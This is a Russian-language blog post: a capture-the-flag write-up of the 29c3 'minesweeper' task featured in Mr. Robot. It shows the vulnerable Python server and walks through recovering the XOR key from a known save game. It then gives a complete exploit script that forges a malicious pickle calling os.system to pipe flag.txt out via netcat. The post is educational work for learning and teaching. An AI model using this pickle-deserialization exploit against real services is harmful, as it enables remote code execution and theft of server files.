Здравствуйте, хабродамы и хаброгоспода!
Recently попался мне случайно на глаза один эпизод из недавно модного сериала «Мистер Робот». Не будучи сильно знакомым с проектом, я всё же знал о связанной с ним массивной пиар-кампании (которая вроде как даже проводила нечто вроде ARG-мероприятий), поэтому когда я услышал условие занимательного CTF-таска (из жанра bin/exploitation), представленного в сюжете одной из серий, я подумал, что скорее всего, этот таск существовал в действительности. Обратившись ко всемирной паутине, я подтвердил своё предположение, и, так как задача не очень сложная (не успеет наскучить в рамках одной хабростатьи), но крайне оригинальная и интересная, сегодня займемся её разбором.
Cut, cut, cut!
Превью
В кратце о том, как это выглядело с экранов ТВ: в одном эпизоде (3-й сезон, 1-я серия, ~ 20:20-22:50) перед зрителем предстает «подпольное хакерское заведение», aka изрисованный анархистским граффи́ти чулан, забитый тучей компьютеров, километрами жёлтых патч-кордов и несколькими киберпанк-like азиатами. Здесь, в окружении неонового вейп-пара и калейдоскопа кислотно-зелёных букв на аспидно-чёрных фонах терминалов машин, накалился самый разгар страстей CTF-соревнования. ГГ подходит к одному из участников, который жалуется ему, что не может справиться с одним из тасков, ГГ за 25 секунд объясняет ему все тайны задачи, даже не взглянув на монитор, ГГ выбивает флаг. Конец.
Теперь о самом таске: это реальная задача на исследование исходного кода, стоящая 100 очков (самый минимум, хе-хе), которая засветилась в «29c3 CTF» (2012 г.). Для ее решения нам понадобятся: 1 часть знаний базовой криптографии и 2 части знания Пайтона (одна, чтобы в pickle.loads() увидеть уязвимость внедрения шеллкода, другая, чтобы написать пару-тройку строк эксплойта).
Для начала рассмотрим условие.
Условие
Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024
<хттп://и_тут_сайт_с_исходником/minesweeper.py>
Вольный перевод от автора:
Надоело реверсить? Отвлекись немного и сыграй в нашу игрульку, а если захочешь, можешь даже сейвануться, чтобы потом продолжить, где остановился! XX.XX.XX.XX:1024
<хттп://и_тут_сайт_с_исходником/minesweeper.py>
Исходный код, поставляемый в комплекте с таском, прячется под спойлером:
minesweeper.py
#!/usr/bin/env python
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
def load_encrypt_key():
try:
f = open('encrypt_key.bin', 'r')
try:
encrypt_key = f.read(4096)
if len(encrypt_key) == 4096:
return encrypt_key
finally:
f.close()
except:
pass
rand = random.SystemRandom()
encrypt_key = ""
for i in xrange(0, 4096):
encrypt_key += chr(rand.randint(0,255))
try:
f = open('encrypt_key.bin', 'w')
try:
f.write(encrypt_key)
finally:
f.close()
except:
pass
return encrypt_key
class Field:
def __init__(self, w, h, mines):
self.w = w
self.h = h
self.mines = set()
while len(self.mines) < mines:
y = random.randint(0, h - 1)
x = random.randint(0, w - 1)
self.mines.add((y, x))
self.mines = sorted(self.mines)
self.opened = []
self.flagged = []
def calc_num(self, point):
n = 0
for y in xrange(point[0] - 1, point[0] + 2):
for x in xrange(point[1] - 1, point[1] + 2):
p = (y, x)
if p != point and p in self.mines:
n += 1
return n
def open(self, y, x):
point = (int(y), int(x))
if point[0] < 0 or point[0] >= self.h:
return (True, "Illegal point")
if point[1] < 0 or point[1] >= self.w:
return (True, "Illegal point")
if point in self.opened:
return (True, "Already opened")
if point in self.flagged:
return (True, "Already flagged")
bisect.insort(self.opened, point)
if point in self.mines:
return (False, "You lose")
if len(self.opened) + len(self.mines) == self.w * self.h:
return (False, "You win")
if self.calc_num(point) == 0:
#open everything around - it can not result in something bad
self.open(y-1, x-1)
self.open(y-1, x)
self.open(y-1, x+1)
self.open(y, x-1)
self.open(y, x+1)
self.open(y+1, x-1)
self.open(y+1, x)
self.open(y+1, x+1)
return (True, None)
def flag(self, y, x):
point = (int(y), int(x))
if point[0] < 0 or point[0] >= self.h:
return "Illegal point"
if point[1] < 0 or point[1] >= self.w:
return "Illegal point"
if point in self.opened:
return "Already opened"
if point in self.flagged:
self.flagged.remove(point)
else:
bisect.insort(self.flagged, point)
return None
def load(self, data):
self.__dict__ = pickle.loads(data)
def save(self):
return pickle.dumps(self.__dict__, 1)
def write(self, stream):
mine = 0
open = 0
flag = 0
screen = " " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n"
for y in xrange(0, self.h):
have_mines = mine < len(self.mines) and self.mines[mine][0] == y
have_opened = open < len(self.opened) and self.opened[open][0] == y
have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
screen += chr(0x30 | (y % 10)) + "|"
for x in xrange(0, self.w):
is_mine = have_mines and self.mines[mine][1] == x
is_opened = have_opened and self.opened[open][1] == x
is_flagged = have_flagged and self.flagged[flag][1] == x
assert(not (is_opened and is_flagged))
if is_mine:
mine += 1
have_mines = mine < len(self.mines) and self.mines[mine][0] == y
if is_opened:
open += 1
have_opened = open < len(self.opened) and self.opened[open][0] == y
if is_mine:
c = "*"
else:
c = ord("0")
#check prev row
for m in xrange(mine - 1, -1, -1):
if self.mines[m][0] < y - 1:
break
if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1):
c += 1
#check left & right
if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1:
c += 1
if have_mines and self.mines[mine][1] == x + 1:
c += 1
#check next row
for m in xrange(mine, len(self.mines)):
if self.mines[m][0] > y + 1:
break
if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1):
c += 1
c = chr(c)
elif is_flagged:
flag += 1
have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
c = "!"
else:
c = " "
screen += c
screen += "|" + chr(0x30 | (y % 10)) + "\n"
screen += " +" + ("-" * self.w) + "+\n " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n"
stream.send(screen)
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 1024))
sock.listen(10)
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
encrypt_key = load_encrypt_key()
while 1:
client, addr = sock.accept()
if os.fork() == 0:
break
client.close()
sock.close()
f = Field(16, 16, 20)
re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$")
re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$")
def handle(line):
if len(line) < 1:
return (True, None)
if len(line) == 1 and line[0] in "qxQX":
return (False, "Bye")
global f
if line[0] in "foFO":
m = re_pos.match(line)
if m is None:
return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3")
x,y = m.groups()
x = int(x)
y = int(y)
if line[0] in "oO":
return f.open(y,x)
else:
return (True, f.flag(y,x))
elif line[0] in "lL":
m = re_save.match(line)
if m is None:
return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
msg = base64.standard_b64decode(m.group(1))
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
if msg[0:9] != "4n71cH3aT":
return (True, "Unable to load savegame (magic)")
h = hashlib.sha1()
h.update(msg[9+h.digest_size:])
if msg[9:9+h.digest_size] != h.digest():
return (True, "Unable to load savegame (checksum)")
try:
f.load(msg[9+h.digest_size:])
except:
return (True, "Unable to load savegame (exception)")
return (True, "Savegame loaded")
elif len(line) == 1 and line[0] in "sS":
msg = f.save()
h = hashlib.sha1()
h.update(msg)
msg = "4n71cH3aT" + h.digest() + msg
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
return (True, "Your savegame: " + base64.standard_b64encode(msg))
#elif len(line) == 1 and line[0] in "dD":
# return (True, repr(f.__dict__)+"\n")
else:
return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")
data = ""
while 1:
f.write(client)
while 1:
pos = data.find("\n")
if pos != -1:
cont, msg = handle(data[0:pos])
if not cont:
if msg is not None:
client.send(msg + "\n")
f.write(client)
client.close()
sys.exit(0)
if msg is not None:
client.send(msg + "\n")
data = data[pos+1:]
break
new_data = client.recv(4096)
if len(new_data) == 0:
sys.exit(0)
data += new_data
В действительности же мы имеем тривиальное клиент-серверное приложение, которое «играет» с тобой в Сапёра. Прилагаемый исходник крутится на сервере, доступ к которому у участников есть только через скромный cli-интерфейс netcat'а — клиентской стороны игры. Как следствие, для получения флага игроку нужно найти слабое место в реализации самопального Сапёра, чтобы получить доступ к файловой системе сервера (очевидно, что флаг там, где ж ему ещё быть).
Пора покопаться в чужих исходниках…
Исследование исходного кода
import pickle
Как уже было сказано, человек, обладающей щепоткой знаний стандартной библиотеки Пайтона, увидит один из векторов исследования уже на второй строке файла с исходным текстом:
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
В программе используется модуль pickle, а значит, скорее всего (памятуя о предоставленной возможности сохранять и загружать состояние игры), мы увидим вызов метода piclke.loads(), который, как известно, уязвим к выполнению произвольного кода.
Теория говорит нам, что библиотека pickle (от англ. «засолить») используется для сериализации и десериализации объектов Пайтона, т. е. для соответственно сохранения состояния объектов в виде битовых последовательностей (по определённому алгоритму — протоколу) с целью их долговременного хранения в файлах на ЖД, передачи по сети и т. п., и восстановления этого состояния из всё той же битовой последовательности для дальнейшего использования в теле программы. НО, также, теория (от лица документации Питона) нас вежливо предупреждает жирными буквами на красном фоне о том, что мы должны быть уверены в надёжности данных, которые мы десериализируем, чтобы не стать жертвой выполнения специально созданного файла с вредоносной нагрузкой, который может сильно подпортить нам жизнь.
Запомним этот момент и пойдём дальше по коду.
load_encrypt_key()
def load_encrypt_key():
try:
f = open('encrypt_key.bin', 'r')
try:
encrypt_key = f.read(4096)
if len(encrypt_key) == 4096:
return encrypt_key
finally:
f.close()
except:
pass
rand = random.SystemRandom()
encrypt_key = ""
for i in xrange(0, 4096):
encrypt_key += chr(rand.randint(0,255))
try:
f = open('encrypt_key.bin', 'w')
try:
f.write(encrypt_key)
finally:
f.close()
except:
pass
return encrypt_key
Сразу же видим функцию с пугающим названием load_encrypt_key(), что наводит на мысль, что у игры будет метод проверки/подписи чего-либо (сохранённых данных?) секретным ключом, хранящемся на сервере.
Функция делает ни что иное, как загружает секретный ключ: если он существует, то сервер забирает его из файла encrypt_key.bin, иначе такой файл генерируется и забивается случайными однобайтовыми значениями. Размер секретного ключа: 4096 байт. Запомнили, идём дальше.
class Field
Далее следует класс, который описывает поле для игры в Сапёра:
class Field:
def __init__(self, w, h, mines):
self.w = w
self.h = h
self.mines = set()
while len(self.mines) < mines:
y = random.randint(0, h - 1)
x = random.randint(0, w - 1)
self.mines.add((y, x))
self.mines = sorted(self.mines)
self.opened = []
self.flagged = []
def calc_num(self, point):
# ...
def open(self, y, x):
# ...
def flag(self, y, x):
# ...
def load(self, data):
self.__dict__ = pickle.loads(data)
def save(self):
return pickle.dumps(self.__dict__, 1)
def write(self, stream):
# ...
Я намеренно оставил только то, что заслуживает нашего внимания, а именно: конструктор, описывающий поля́ по́ля Field (w — ширина, h — высота, mines — список с координатами мин [генерируются случайно] и списки с координатами открытых и разминированных ячеек — opened и flagged соответственно), а также методы загрузки и сохранения игры.
Наше предположение оказалось верным — piclke.loads() и правда используется для загрузки игры. Как это происходит: метод Field.save() загоняет состояние поля в последовательность бит (по протоколу 1 метода pickle.dumps()), а метод Field.load() восстанавливает эту последовательность по просьбе игрока, возвращая ему тот момент игрового процесса, на котором он остановился.
Методы, в которых опущено описание, являются непосредственными составляющими реализации самого игрового процесса и не содержат информации, которая бы оказалась полезна
Инициализация соединения
Дальше мы видим кусок кода для установления соединения между клиентом и сервером, загрузку секретного ключа и создание экземпляра класса Field, размером 16x16 и с количеством мин, равным 20:
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 1024))
sock.listen(10)
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
encrypt_key = load_encrypt_key()
while 1:
client, addr = sock.accept()
if os.fork() == 0:
break
client.close()
sock.close()
f = Field(16, 16, 20)
Замечу, что поиграть в Сапёра можно и при наличии только одного ПК.
Минутка ПАРАНОЙИ: выполнение действия ниже равносильно открытию порта с уязвимым на получение шелла приложением, поэтому, если порт доступен извне, решившим потестить скрипт рекомендуется сменить интерфейс для bind'а с 0.0.0.0 на 127.0.0.1.
Если запустить программу в одном окне терминала, а в другом прописать
$ nc 0.0.0.0 1024
, эффект будет такой же, как при игре с удаленным сервером.Что ж, давайте так и поступим. Так как вывод объёмный, результат под спойлером:
Пробное соединение
Что мы имеем:
- После первого ввода символа «h» (хотел немного хелпы), нам стал доступен список команд: o, f, q, x, l, s. Чуть позже мы узнаем, что o — open (открыть ячейку), f — flag (разминировать ячейку), q — quit (выйти из игры), x — exit (выйти из игры), l — load (загрузить игру), s — save (сохранить игру).
- Вывод команды save идет в виде base64-строки.
- Ввод для команды load также должен представлять из себя base64-строку.
Замечательно! Вернёмся к коду.
handle()
Мы дошли до самой интересной части — функции обработки пользовательского ввода:
handle()
re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$")
re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$")
def handle(line):
if len(line) < 1:
return (True, None)
if len(line) == 1 and line[0] in "qxQX":
return (False, "Bye")
global f
if line[0] in "foFO":
m = re_pos.match(line)
if m is None:
return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3")
x,y = m.groups()
x = int(x)
y = int(y)
if line[0] in "oO":
return f.open(y,x)
else:
return (True, f.flag(y,x))
elif line[0] in "lL":
m = re_save.match(line)
if m is None:
return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
msg = base64.standard_b64decode(m.group(1))
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
if msg[0:9] != "4n71cH3aT":
return (True, "Unable to load savegame (magic)")
h = hashlib.sha1()
h.update(msg[9+h.digest_size:])
if msg[9:9+h.digest_size] != h.digest():
return (True, "Unable to load savegame (checksum)")
try:
f.load(msg[9+h.digest_size:])
except:
return (True, "Unable to load savegame (exception)")
return (True, "Savegame loaded")
elif len(line) == 1 and line[0] in "sS":
msg = f.save()
h = hashlib.sha1()
h.update(msg)
msg = "4n71cH3aT" + h.digest() + msg
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
return (True, "Your savegame: " + base64.standard_b64encode(msg))
#elif len(line) == 1 and line[0] in "dD":
# return (True, repr(f.__dict__)+"\n")
else:
return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")
Опять же, рассмотрим только значимые моменты. Начнём с той части, которая отвечает за сохранение игры:
elif len(line) == 1 and line[0] in "sS":
msg = f.save()
h = hashlib.sha1()
h.update(msg)
msg = "4n71cH3aT" + h.digest() + msg
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
return (True, "Your savegame: " + base64.standard_b64encode(msg))
Сохранение происходит в 4 этапа:
msg = f.save()
— сохраняем дамп текущего состояния поля Field.h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg
— берём sha1-хеш от полученного сообщения и производим операцию конкатенации: хеш вместе с солью (строкой "4n71cH3aT") добавляется в начало сообщения.for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
— подписываем сообщение: xor'им каждый байт сообщения с очередным байтом секретного ключа.return (True, "Your savegame: " + base64.standard_b64encode(msg))
— возвращаем base64-строку от подписанного сообщения. Это и есть наш сейв.
Рассмотрим загрузку:
elif line[0] in "lL":
m = re_save.match(line)
if m is None:
return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
msg = base64.standard_b64decode(m.group(1))
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
if msg[0:9] != "4n71cH3aT":
return (True, "Unable to load savegame (magic)")
h = hashlib.sha1()
h.update(msg[9+h.digest_size:])
if msg[9:9+h.digest_size] != h.digest():
return (True, "Unable to load savegame (checksum)")
try:
f.load(msg[9+h.digest_size:])
except:
return (True, "Unable to load savegame (exception)")
return (True, "Savegame loaded")
Загрузка происходит по аналогичному алгоритму, но в обратном порядке:
- Декодируем base64-строку.
- Опять применяем операцию xor для получения исходного сообщения.
- Избавляемся от соли-префикса "4n71cH3aT".
- Сравниваем имеющийся хеш сообщения с вновь посчитанным: если совпало, то успешно —
return (True, "Savegame loaded")
, иначе, ошибка контрольной суммы —return (True, "Unable to load savegame (checksum)")
.
Анализ кода завершён, дальше следует основной цикл взаимодействия «клиент-сервер», не представляющий для нас интереса.
Планирование атаки
Итак, мы обладаем всей необходимой информацией для написания эксплойта.
Примерный план таков: создать вредоносный файл сохранения с внедрённым пейлоадом на выполнение желаемого шеллкода и скормить его серверу, тем самым заставив его выполнить непредусмотренное создателем игры действие. Наша главная задача в этой ситуации — извлечь секретный ключ сервера (часть секретного ключа, если быть точным: в нашем случае поле маленькое, и все 4096 байт ключа не используются) для подписи своего сохранения. Для этого ещё раз обратимся к следующим строкам метода сохранения игры:
msg = f.save()
h = hashlib.sha1()
h.update(msg)
msg = "4n71cH3aT" + h.digest() + msg
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
Используемый шифр — тривиальный xor-шифр, следовательно, зная ВСЕ составляющие уравнения кроме секретного ключа, мы легко сможем извлечь и его, просто прогнав xor ещё раз:
где — операция конкатенации.
Из этого у нас есть: Save (который игра разрешает получить) и Prefix ("4n71cH3aT"). Осталось разобраться с Field. Чтобы трюк прокатил, необходимо, чтобы наш (фальшивый) экземпляр Field в точности совпадал с экземпляром на сервере, т. к. в нашем случае pickle.dumps() сериализирует словарь, содержащий поля экземпляра Field с их значениями.
Вспомним, из чего состоит Field:
class Field:
def __init__(self, w, h, mines):
self.w = w
self.h = h
self.mines = set()
while len(self.mines) < mines:
y = random.randint(0, h - 1)
x = random.randint(0, w - 1)
self.mines.add((y, x))
self.mines = sorted(self.mines)
self.opened = []
self.flagged = []
Ширина, высота известны, списки с открытыми и разминированными ячейками проще всего вообще оставить пустыми (сохранившись в самом начале игры, не сделав ни одного хода); остаются координаты мин. Единственным решением становится прохождение игры для формирования списка с такими координатами.
Никогда не любил Сапёра, но, чтобы всё было честно, пронаблюдать мое прохождение можно под спойлером:
Как я в Сапёра играл
Примечание: при выполнении команды o или f сначала указывается столбец, потом строка; например команда o3,15 открывает ячейку с координатами (15, 3).
В результате получили такой массив из мин:
mines = [
(1, 12), (1, 14), (2, 10), (2, 12),
(2, 14), (3, 6), (4, 0), (4, 15),
(5, 2), (8, 12), (8, 13), (8, 14),
(10, 5), (10, 9), (11, 7), (11, 11),
(13, 2), (13, 9), (14, 3), (14, 15)
]
Теперь, подключимся к Сапёру ещё раз для получения «пустого» сохранения:
Пишем эксплойт
Для начала нам понадобится фейковое поле, в котором мы сразу же для удобства реализуем метод dump():
class FieldFake:
def __init__(self, w, h, mines):
self.w = w
self.h = h
self.mines = sorted(set(mines))
self.opened = []
self.flagged = []
def dump(self):
return pickle.dumps(self.__dict__, protocol=1)
Напишем функцию получения посоленного хеша, соединённого с сообщением и функцию xor-шифрования:
def gamehash(gamepickle):
h = hashlib.sha1()
h.update(gamepickle)
return '4n71cH3aT' + h.digest() + gamepickle
def crypt(plain, key):
return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])
Напишем функтор для генераци пейлоада. На вход будет подаваться желаемая команда, которую должен выполнить сервер, на выходе получим готовый шеллкод, пригодный для внедрения во вредоносное сохранение:
class Payload(object):
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
import os
return (os.system, (self.cmd,))
Дело за малым — пишем main():
def main():
# Подписанное "пустое" сохранение, сделанное в начале игры
encrypted = base64.standard_b64decode(
'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \
'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \
'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \
'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \
'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \
'8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \
'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \
'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \
'2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \
'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \
'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \
'Mp0Q=='
)
# Фейковое поле, инициализированное необходимыми данными
reconstructed = FieldFake(
16,
16,
[
(1, 12), (1, 14), (2, 10), (2, 12),
(2, 14), (3, 6), (4, 0), (4, 15),
(5, 2), (8, 12), (8, 13), (8, 14),
(10, 5), (10, 9), (11, 7), (11, 11),
(13, 2), (13, 9), (14, 3), (14, 15)
]
)
# Префикс + хеш + сообщение (грубо говоря, неподписанное сохранение)
unencrypted = gamehash(reconstructed.dump())
# Извлекаем часть ключа
part_of_key = crypt(unencrypted, encrypted)
# Генерируем шеллкод
evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234'))
# Кодируем base64. Сейв готов!
evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key))
print evilsave
Можно было бы придумать что-то более оригинальное (вплоть до получения шелла), но для простоты демонстрации в качестве команды выберем простой cat для вывода на localhost по порту 1234 в sdout содержимое файла flag.txt, который по нашему предположению находился бы в том же каталоге на сервере, откуда был запущен скрипт (в нашем случае его туда нужно сначала положить ;) ), и привилегии на чтение которого у нас также по счастливой случайности имеются.
Собираем воедино и проверяем работу:
evilsave.py
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# Usage: python3 evilsave.py
import hashlib, base64, pickle
class FieldFake:
def __init__(self, w, h, mines):
self.w = w
self.h = h
self.mines = sorted(set(mines))
self.opened = []
self.flagged = []
def dump(self):
return pickle.dumps(self.__dict__, protocol=1)
class Payload(object):
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
import os
return (os.system, (self.cmd,))
def gamehash(gamepickle):
h = hashlib.sha1()
h.update(gamepickle)
return '4n71cH3aT' + h.digest() + gamepickle
def crypt(plain, key):
return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])
def main():
# Подписанное "пустое" сохранение, сделанное в начале игры
encrypted = base64.standard_b64decode(
'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \
'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \
'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \
'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \
'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \
'8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \
'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \
'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \
'2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \
'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \
'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \
'Mp0Q=='
)
# Фейковое поле, инициализированное необходимыми данными
reconstructed = FieldFake(
16,
16,
[
(1, 12), (1, 14), (2, 10), (2, 12),
(2, 14), (3, 6), (4, 0), (4, 15),
(5, 2), (8, 12), (8, 13), (8, 14),
(10, 5), (10, 9), (11, 7), (11, 11),
(13, 2), (13, 9), (14, 3), (14, 15)
]
)
# Префикс + хеш + сообщение (грубо говоря, неподписанное сохранение)
unencrypted = gamehash(reconstructed.dump())
# Извлекаем часть ключа
part_of_key = crypt(unencrypted, encrypted)
# Генерируем шеллкод
evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234'))
# Кодируем base64. Сейв готов!
evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key))
print evilsave
if __name__ == '__main__':
main()
И несмотря на то, что нам написали предупреждение "Unable to load savegame (exception)" (генератором которого, стало брошенное pickle.loads()'ом исключение)…
… в соседнем окне терминала (также на «клиентской» стороне) мы смогли получить содержимое файла flag.txt, ура, ура:
Заключение
Таск очень красив и оригинален (к тому же, по моему мнению, он хорошо демонстрирует педантичную изящность и многофункциональность Пайтона), но вполне прост, если разобраться, что к чему (не даром за него всего 100 очков давали), в связи с этим не совсем понятно, что вызвало такие трудности у участников соревнования по сюжету сериала. Однако, его решение главным героем < чем за пол минуты без скролла исходника действительно выше всяких похвал, нужно было ему задачу о равенстве P и NP подсунуть — при таком подходе всё равно ведь, что решать J
Сериализируйте только проверенные данные, используйте стойкое шифрование, играйте в хорошие игры и не плодите «злых» сохранений.
Happy hacking!
Интересные ссылки
- CTFtime.org / 29c3 CTF / minesweeper — ctftime.org/task/193
- Mr.Robot.S03. Как новый сезон «Мистера Робота» радовал фанатов пасхалками и хакерскими играми — «Хакер» — xakep.ru/2018/01/29/mrrobot-s03
- Cryptic python «minesweeper» challenge: MrRobot — reddit.com/r/MrRobot/comments/76kz6m/cryptic_python_minesweeper_challenge